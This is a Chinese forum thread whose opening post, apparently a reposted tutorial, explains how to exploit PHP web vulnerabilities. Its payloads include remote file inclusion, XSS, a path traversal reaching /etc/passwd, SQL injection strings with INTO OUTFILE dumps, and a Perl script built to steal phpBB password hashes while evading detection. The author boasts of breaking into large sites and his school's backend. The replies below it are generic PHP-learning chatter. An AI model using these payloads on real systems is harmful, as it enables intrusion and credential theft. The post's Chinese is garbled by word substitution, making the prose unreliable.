仓酷云

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 1340|回复: 19
打印 上一主题 下一主题

[学习教程] PHP编程:总结:罕见php页面破绽剖析及相干成绩解...

[复制链接]
金色的骷髅 该用户已被删除
跳转到指定楼层
楼主
发表于 2015-2-4 00:01:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
就是管理员可以编辑,删除,回复 等功能,。加入管理员功能要加入登陆系统,慢慢你会想在线添加管理员,慢慢你会让自己的作品更漂亮些,慢慢1个完整的留言板就会出来了,     从如今的收集平安来看,人人最存眷和接触最多的WEB页面破绽应当是ASP了,在这方面,小竹是专家,我没讲话权。但是在PHP方面来看,也一样存在很严重的平安成绩,然而这方面的文章却不多。在这里,就跟人人来略微的会商一下PHP页面的相干破绽吧。
  我对今朝罕见的PHP破绽做了一下总结,大致分为以下几种:包括文件破绽,剧本号令履行破绽,文件泄漏破绽,SQL注入破绽等几种。固然,至于COOKIE棍骗等一局部通用的手艺就不在这里会商了,这些材料网上也良多。那末,咱们就一个一个来剖析一下如何使用这些破绽吧!
  起首,咱们来会商包括文件破绽。这个破绽应当说是PHP独有的吧。这是因为不充实处置内部供应的歹意数据,从而招致近程进击者可以使用这些破绽以WEB历程权限在体系上履行恣意号令。咱们来看一个例子:假定在a.php中有如许一句代码:
<?php
include($include."/xxx.php");
?>
  在这段代码中,$include通常为一个已设置好的途径,然而咱们可以经由过程本人机关一个途径来到达进击的目标。例如说咱们提交:a.php?include=http://web/b.php,这个web是咱们用做进击的空间,固然,b.php也就是咱们用来进击的代码了。咱们可以在b.php中写入相似于:passthru("/bin/ls /etc");的代码。如许,就能够履行一些有目标的进击了。(注:web办事器应当不克不及履行php代码,否则就出成绩了。相干概况可以去看<<若何对PHP法式中的罕见破绽停止进击>>)。在这个破绽方面,出情况的良多,例如说:PayPal Store Front,HotNews,Mambo Open Source,PhpDig,YABB SE,phpBB,InvisionBoard,SOLMETRA SPAW Editor,Les Visiteurs,PhpGedView,X-Cart等等一些。
  接着,咱们再来看一下剧本号令履行破绽。这是因为对用户提交的URI参数短少充实过滤,提交包括歹意HTML代码的数据,可招致触发跨站剧本进击,能够取得方针用户的敏感信息。咱们也举个例子:在PHP Transparent的PHP PHP 4.3.1以下版本中的index.php页面临PHPSESSID短少充实的过滤,咱们可以经由过程如许的代码来到达进击的目标:http://web/index.php?PHPSESSID=">在script外面咱们可以机关函数来取得用户的一些敏感信息。在这个破绽方面绝对要少一点,除PHP Transparent以外还有:PHP-Nuke,phpBB,PHP Classifieds,PHPix,Ultimate PHP Board等等。
  再然后,咱们就来看看文件泄漏破绽了,这类破绽是因为对用户提交参数短少充实过滤,近程进击者可以使用它停止目次遍历进击和获得一些敏感信息。咱们拿比来发明的phpMyAdmin来做例子。在phpMyAdmin中,export.php页面没有对用户提交的'what'参数停止充实过滤,近程进击者提交包括多个'../'字符的数据,即可绕过WEB ROOT限制,以WEB权限检查体系上的恣意文件信息。例如说打入如许一个地址:export.php?what=../../../../../../etc/passwd%00 就能够到达文件泄漏的目标了。在这方面绝对多一点,有:myPHPNuke,McNews等等。
  最初,咱们又要回到最高兴的中央了。想一想咱们平常在asp页面顶用SQL注入有何等爽,之前还要手动注入,一向到小竹悟出"SQL注入密笈"(嘿嘿),然后再开做出NBSI今后,咱们NB同盟真是拉出一片天空。曾前后帮CSDN,豪富翁服装论坛,中国频道等大型网站找露马脚。(这些空话不多说了,有点跑题了...)。
  仍是言规正传,其其实asp中SQL的注入和php中的SQL注入大致不异,只不外略微注重一下用的几个函数就行了。将asc改成ASCII,len改成LENGTH,其他函数根基不变了。其实人人看到PHP的SQL注入,是否是城市想到PHP-NUKE和PHPBB呢?不错,俗语说树大招分,像动网如许的服装论坛在asp界就该是破绽这王了,这并非说它的服装论坛平安太差,而是名望太响,他人用的多了,研讨的人也就多了,发明的平安破绽也就越多了。PHPBB也是一样的,如今很大一局部人用PHP做服装论坛的话,普通都是选择了PHPBB。它的破绽也是一向在出,从最早phpBB.com phpBB 1.4.0版本被人发明破绽,到如今比来的phpBB 2.0.6版本的groupcp.php,,和之前发明的search.php,profile.php,viewtopic.php等等加起来,也许也有十来个模样吧。这也一向招致,一局部人在研讨php破绽的时分城市拿它做实行品,所谓百练成精嘛,信任今后的PHPBB会愈来愈好。
  好了,咱们仍是来剖析一下破绽发生的缘由吧。拿viewtopic.php页面来讲,因为在挪用viewtopic.php时,直接从GET恳求中取得"topic_id"并传递给SQL查询号令,而并没有停止一些过滤的处置,进击者可以提交特别的SQL字符串用于取得MD5暗码,取得此暗码信息可以用于主动登录或停止暴力破解。(我想应当不会有人想去暴力破解吧,除非有出格主要的缘由)。先看一下相干源代码:
    #    if ( isset($HTTP_GET_VARS[POST_TOPIC_URL]) )
  #    {
  #       $topic_id = intval($HTTP_GET_VARS[POST_TOPIC_URL]);
  #    }
  #    else if ( isset($HTTP_GET_VARS['topic']) )
  #    {
  #       $topic_id = intval($HTTP_GET_VARS['topic']);
  #    }  
  从下面咱们可以看出,假如提交的view=newest而且sid设置了值的话,履行的查询代码像上面的这个模样(假如你还没看过PHPBB源代码的话,建议你看了再对着这里来看,受影响体系为:phpBB 2.0.5和phpBB 2.0.4)。
    #        $sql = "SELECT p.post_id
  #        FROM " . POSTS_TABLE . " p, " . SESSIONS_TABLE . " s, " . USERS_TABLE . " u
  #        WHERE s.session_id = '$session_id'
  #         AND u.user_id = s.session_user_id
  #         AND p.topic_id = $topic_id
  #         AND p.post_time >= u.user_lastvisit
  #        ORDER BY p.post_time ASC
  #        LIMIT 1";
  Rick供应了上面的这断测试代码:
  use IO::Socket;
  $remote = shift || 'localhost';
  $view_topic = shift || '/phpBB2/viewtopic.php';
  $uid = shift || 2;
  $port = 80;
  $dbtype = 'mysql4';   # mysql4 or pgsql
  print "Trying to get password hash for uid $uid server $remote dbtype: $dbtype\n";
  $p = "";
  for($index=1; $index<=32; $index++)
  {
  $socket = IO::Socket::INET->new(PeerAddr => $remote,
  PeerPort => $port,
  Proto => "tcp",
  Type => SOCK_STREAM)
  or die "Couldnt connect to $remote:$port : $@\n";
  $str = "GET $view_topic" . "?sid=1&topic_id=-1" . random_encode(make_dbsql()) . "&view=newest" . " HTTP/1.0\n\n";
  print $socket $str;
  print $socket "Cookie: phpBB2mysql_sid=1\n";  # replace this for pgsql or remove it
  print $socket "Host: $remote\n\n";
  while ($answer = <$socket>)
  {
  if ($answer =~ /location:.*\x23(\d+)/) # Matches the location: viewtopic.php?p=#
  {
  $p .= chr ();
  }
  }
  close($socket);
  }
  print "\nMD5 Hash for uid $uid is $p\n";
  # random encode str. helps avoid detection
  sub random_encode
  {
  $str = shift;
  $ret = "";
  for($i=0; $i  {
  $c = substr($str,$i,1);
  $j = rand length($str) * 1000;
  
  
  if (int($j) % 2 || $c eq ' ')
  {
  $ret .= "%" . sprintf("%x",ord($c));
  }
  else
  {
  $ret .= $c;
  }
  }
  return $ret;
  }
  sub make_dbsql
  {
  if ($dbtype eq 'mysql4')
  {
  return " union select ord(substring(user_password," . $index . ",1)) from phpbb_users where user_id=$uid/*" ;
  } elsif ($dbtype eq 'pgsql')
  {
  return "; select ascii(substring(user_password from $index for 1)) as post_id from phpbb_posts p, phpbb_users u where u.user_id=$uid or false";
  }
  else
  {
  return "";
  }
  }
这段代码,我就不多做注释了.感化是取得HASH值.
  看到这里,人人能够有点疑问,为何我后面讲的那些改的函数怎样没有效到,我讲出来不怕人人笑话:其实网上良多站点有些页面的查询语句看起来会是如许:
  display.php?sqlsave=select+*+from+aaa+where+xx=yy+order+by+bbb+desc
  不要笑,这是真的,我还靠这个进过几个大型网站.至于哪一些,欠好讲出来,不外咱们黉舍的网站,我就是靠这个进后台的,把后面那函数用上吧.否则你只要改人家的暗码了哦!!!
  
  差点忘了一点,在SQL注入的时分,PHP与ASP有所分歧,mysql对sql语句的应用没有mssql天真,因而,良多在mssql上可以用的查询语句在mysql中都不克不及见效了. 普通咱们罕见的注入语句像如许:aaa.php?id=a' into outfile 'pass.txt或是aaa.php?id=a' into outfile 'pass.txt' /*再进一步可以改成:aaa.php?id=a' or 1=1 union select id,name,password form users into outfile 'c:/a.txt
  如许可以将数据库数据导出为文件,然后可以检查.
  或是如许:mode=',user_level='4
  这个语句普通用在修正材料时,假定页面存在破绽的话,就能够到达提拔权限的做用.
  其它的如' OR 1=1 -- 或:1' or 1='1则跟asp差不多.这里不多讲了.在php外面,SQL注入看来仍是破绽之首啊,有太多的页面存在这个成绩了.
  
  其实人人可以看出来,下面那些分类归根结柢只要一个缘由:提交参数没过滤或是过滤不敷严谨.
学会了生成静态网页,现在你应该接触一下XML了,恩,XML也了解了,那么AJAX你也得接触接触吧?AJAX完了....然后...
老尸 该用户已被删除
沙发
发表于 2015-2-4 08:02:41 | 只看该作者
爱上php,他也会爱上你。
小妖女 该用户已被删除
板凳
发表于 2015-2-9 19:44:46 | 只看该作者
在学习的过程中不能怕麻烦,不能有懒惰的思想。学习php首先应该搭建一个lamp环境或者是wamp环境。这是学习php开发的根本。虽然网络上有很多集成的环境,安装很方便,使用起来也很稳定、
变相怪杰 该用户已被删除
地板
发表于 2015-2-27 19:14:44 | 只看该作者
学好程序语言,多些才是王道,写两个小时代码的作用绝对超过看一天书,这个我是深有体会(顺便还能练打字速度)。
深爱那片海 该用户已被删除
5#
发表于 2015-3-8 18:04:08 | 只看该作者
真正的方向了,如果将来要去开发团队,你一定要学好smarty ,phplib这样的模板引擎,
冷月葬花魂 该用户已被删除
6#
发表于 2015-3-16 09:08:48 | 只看该作者
在学习的过程中不能怕麻烦,不能有懒惰的思想。学习php首先应该搭建一个lamp环境或者是wamp环境。这是学习php开发的根本。虽然网络上有很多集成的环境,安装很方便,使用起来也很稳定、
小魔女 该用户已被删除
7#
发表于 2015-3-22 21:59:25 | 只看该作者
有时候汉字的空格也能导致页面出错,所以在写代码的时候,要输入空格最好用引文模式。
admin 该用户已被删除
8#
发表于 2015-3-30 14:29:13 | 只看该作者
遇到出错的时候,我经常把错误信息直接复制到 google的搜索栏,一般情况都是能搜到结果的,不过有时候会搜出来一大片英文的出来,这时候就得过滤一下,吧中文的弄出来,挨着式方法。
精灵巫婆 该用户已被删除
9#
发表于 2015-3-31 04:24:34 | 只看该作者
其实没啥难的,多练习,练习写程序,真正的实践比看100遍都有用。不过要熟悉引擎
灵魂腐蚀 该用户已被删除
10#
发表于 2015-4-3 21:19:10 | 只看该作者
如果你可以写完像留言板这样的程序,那么你可以去一些别人的代码了,
分手快乐 该用户已被删除
11#
发表于 2015-4-12 15:11:16 | 只看该作者
说点我烦的低级错误吧,曾经有次插入mysql的时间 弄了300年结果老报错,其实mysql的时间是有限制的,大概是到203X年  具体的记不清啦,囧。
再见西城 该用户已被删除
12#
发表于 2015-4-16 03:12:19 | 只看该作者
有位前辈曾经跟我说过,phper 至少要掌握200个函数 编起程序来才能顺畅点,那些不熟悉的函数记不住也要一拿手册就能找到。所以建议新手们没事就看看php的手册(至少array函数和string函数是要记牢的)。
若相依 该用户已被删除
13#
发表于 2015-5-1 16:10:35 | 只看该作者
说php的话,首先得提一下数组,开始的时候我是最烦数组的,总是被弄的晕头转向,不过后来呢,我觉得数组里php里最强大的存储方法,所以建议新手们要学好数组。
因胸联盟 该用户已被删除
14#
发表于 2015-6-6 02:53:27 | 只看该作者
至于模板嘛,各位高人一直以来就是争论不休,我一只小菜鸟就不加入战团啦,咱们新手还是多学点东西的好。
蒙在股里 该用户已被删除
15#
发表于 2015-6-16 23:21:51 | 只看该作者
如果你可以写完像留言板这样的程序,那么你可以去一些别人的代码了,
第二个灵魂 该用户已被删除
16#
发表于 2015-6-16 23:59:58 | 只看该作者
这些都是最基本最常用功能,我们这些菜鸟在系统学习后,可以先对这些功能深入研究。
17#
发表于 2015-6-19 03:04:50 | 只看该作者
作为一个合格的coder 编码的规范是必须,命名方面我推崇“驼峰法”,另外就是自己写的代码最好要带注释,不然时间长了,就算是自己的代码估计看起来都费事,更不用说别人拉。
爱飞 该用户已被删除
18#
发表于 2015-7-9 20:44:42 | 只看该作者
对于初学者来说不推荐去拿钱买的。当然如果一个网站你经常去用,而且里面的资料也比较有用,最好还是买个会员比较好,毕竟那些也是别人的工作成果。
不帅 该用户已被删除
19#
发表于 2015-7-12 06:40:11 | 只看该作者
本人接触php时间不长,算是phper中的小菜鸟一只吧。由于刚开始学的时候没有名师指,碰过不少疙瘩,呗很多小问题卡过很久,白白浪费不少宝贵的时间,在次分享一些子的学习的心得。
简单生活 该用户已被删除
20#
发表于 2015-7-13 19:39:23 | 只看该作者
不禁又想起那些说php是草根语言的人,为什么认得差距这么大呢。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|仓酷云 鄂ICP备14007578号-2

GMT+8, 2024-5-3 14:50

Powered by Discuz! X3.2

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表